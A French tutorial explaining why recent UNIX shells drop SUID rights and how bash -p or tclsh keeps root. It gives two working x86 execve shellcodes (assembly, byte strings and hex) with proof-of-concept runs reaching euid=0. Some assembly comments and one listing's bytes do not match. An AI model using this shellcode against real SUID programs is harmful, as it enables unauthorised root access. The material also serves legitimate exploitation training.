Shells UNIX ne transférant pas les droits SUID dans les shellcodes

Table des matières :

Introduction

Les nouvelles versions des shells UNIX ne transfèrent plus les droits SUID par défaut. Cela peut être particulièrement embêtant lorsqu’on crée un shellcode qui fonctionne bien, mais qui ouvre un shell dans lequel nous n’avons pas les bons droits.

Voici un petit exemple :

[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K sept   1 11:56 .
drwxrwxr-x 4 user user 4,0K sept   1 11:56 ..
-rwsrwxrwx 1 root root 127K sept   1 11:56 challenge
-rwxrwxrwx 1 user user 254  sept   1 12:01 shellcode.raw
[user@dev]:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
[user@dev]:~$ ./challenge < shellcode.raw
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

Dans ce cas le shellcode que nous avons injecté dans le programme challenge a bien permis d’ouvrir un shell, mais les droits n’ont pas été transférés au moment de l’ouverture du shell.

Nous allons voir pourquoi les droits SUID ne sont plus transférés sur les nouvelles versions des shells, et comment forcer le transfert de ces droits.

Que se passe-t-il

La plupart des nouveaux shells ne transfèrent plus les droits SUID par défaut pour des questions de sécurité. Cela n’empèche pas tout, mais complique le travail d’un attaquant voulant exploiter une application. Voyons quels shells sont affectés par ce comportement. Pour cela, j’ai copié tous les shells de ma machine dans un dossier :

$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K juin   7 11:56 .
drwxrwxr-x 4 user user 4,0K juin   7 11:56 ..
-rwxr-xr-x 1 user user 1,2M août  31 22:46 bash
-rwxr-xr-x 1 user user 127K août  31 22:46 dash
-rwxr-xr-x 1 user user 1,2M août  31 22:46 rbash
-rwxr-xr-x 1 user user 127K août  31 22:46 sh
-rwxr-xr-x 1 user user  15K août  31 22:46 tclsh

Puis j’ai donné les droits SUID root à tous ces shells :

# chown root:root *; chmod 4777 *
# ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K juin   7 11:56 .
drwxrwxr-x 4 user user 4,0K juin   7 11:56 ..
-rwsrwxrwx 1 root root 1,2M août  31 22:46 bash
-rwsrwxrwx 1 root root 127K août  31 22:46 dash
-rwsrwxrwx 1 root root 1,2M août  31 22:46 rbash
-rwsrwxrwx 1 root root 127K août  31 22:46 sh
-rwsrwxrwx 1 root root  15K août  31 22:46 tclsh

Il suffit ensuite de les lancer un par un pour exécuter la commande id et nous obtenons ces résultats :

Shell Résultat de la commande
./bash -c 'id' uid=1000(user) gid=1000(user) groups=1000(user)
./dash -c 'id' uid=1000(user) gid=1000(user) groups=1000(user)
./rbash -c 'id' uid=1000(user) gid=1000(user) groups=1000(user)
./sh -c 'id' uid=1000(user) gid=1000(user) groups=1000(user)
./tclsh uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

Nous voyons ici que le seul shell qui transfère les droits SUID est le shell tclsh. Cela nous sera utile dans la suite pour construire un shellcode pour ce shell.

Comment transférer les droits SUID

Pour forcer le transfert des droits SUID sur les nouvelles versions des shells, il est nécessaire de spécifier l’option -p :

Shell Résultat de la commande
./bash -p -c 'id' uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
./dash -p -c 'id' uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
./rbash -p -c 'id' uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
./sh -p -c 'id' uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
./tclsh uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

Shellcodes

Voici un shellcode qui réalise un execve de /bin/bash -p (tiré d’exploit-db). Il fonctionne très bien pour les exploitations de binaires :

; nasm -felf shellcode.asm; ld -m elf_i386 -s -o shellcode shellcode.o
        global    _start
        section   .text
_start:
        mov    al, 0xb     ; syscall number
        xor    edx, edx
        ; Push "-p" argument to force SUID
        push   edx
        push   word 0x702d ; "p-"
        mov    ecx,esp     ; save pointer
        ; Push "/bin/bash"
        push   edx         ;
        push   0x68        ; "hs"
        push   0x7361622f  ; "lct/"
        push   0x6e69622f  ; "nib/"
        mov    ebx,esp     ; save pointer
        ; Passing all arguments
        push   edx         ; char * null
        push   ecx         ; char * args
        push   ebx         ; char * program
        ; Call
        mov    ecx,esp     ; char * args[]
        int    0x80        ; syscall "execve"

Format binaire

Voici ce shellcode sous format binaire:

shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

Format hexadécimal

Voici ce shellcode sous format hexadécimal:

6a0b58995266682d7089e1526a68682f626173682f62696e89e352515389e1cd80

Preuve de concept

Lorsque nous lançons ce shellcode, il réalise un appel à /bin/bash -p et transfère bien les droits SUID comme prévu :

[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K août  31 22:27 .
drwxrwxr-x 4 user user 4,0K août  31 22:27 ..
-rwsrwxrwx 1 root root 4268 août  31 22:31 shellcode
[user@dev]:~$ ./shellcode
$ /bin/id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

Création d’un shellcode pour tclsh

Nous allons reprendre le shell tclsh que nous avons vu plus haut.

Voici un shellcode qui réalise un execve de /bin/tclsh, tclsh transfère les droits SUID par défaut sans options spécifiques.

; nasm -felf shellcode.asm; ld -m elf_i386 -s -o shellcode shellcode.o
        global    _start
        section   .text
_start:
        mov    al, 0xb     ; syscall number
        xor    edx, edx
        ;
        push   edx         ;
        push   word 0x6873 ; "hs"
        push   0x6c63742f  ; "lct/"
        push   0x6e69622f  ; "nib/"
        mov    ebx,esp     ; save pointer
        ; Passing all arguments
        push   edx         ; char * null
        push   edx         ; char * args
        push   ebx         ; char * program
        ; Call
        mov    ecx,esp     ; char * args[]
        int    0x80        ; syscall "execve"

Format hexadécimal

Voici ce shellcode sous format hexadécimal:

shellcode = "\xb0\x0b\x31\xd2\x52\x66\x68\x73\x68\x68\x2f\x74\x63\x6c\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x53\x89\xe1\xcd\x80";

Format hexadécimal

Voici ce shellcode sous format hexadécimal:

b00b31d25266687368682f74636c682f62696e89e352525389e1cd80

Preuve de concept

Tentons de lancer le shellcode tclsh précédement créé :

[user@dev]:~$ ls -lha
total 136K
drwxrwxr-x 2 user user 4,0K août  31 22:27 .
drwxrwxr-x 4 user user 4,0K août  31 22:27 ..
-rwsrwxrwx 1 root root 4268 août  31 22:46 shellcode
[user@dev]:~$ ./shellcode
% /bin/id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

Nous constatons que les droits SUID sont bien transférés dans le shell ! Mission accomplie

Références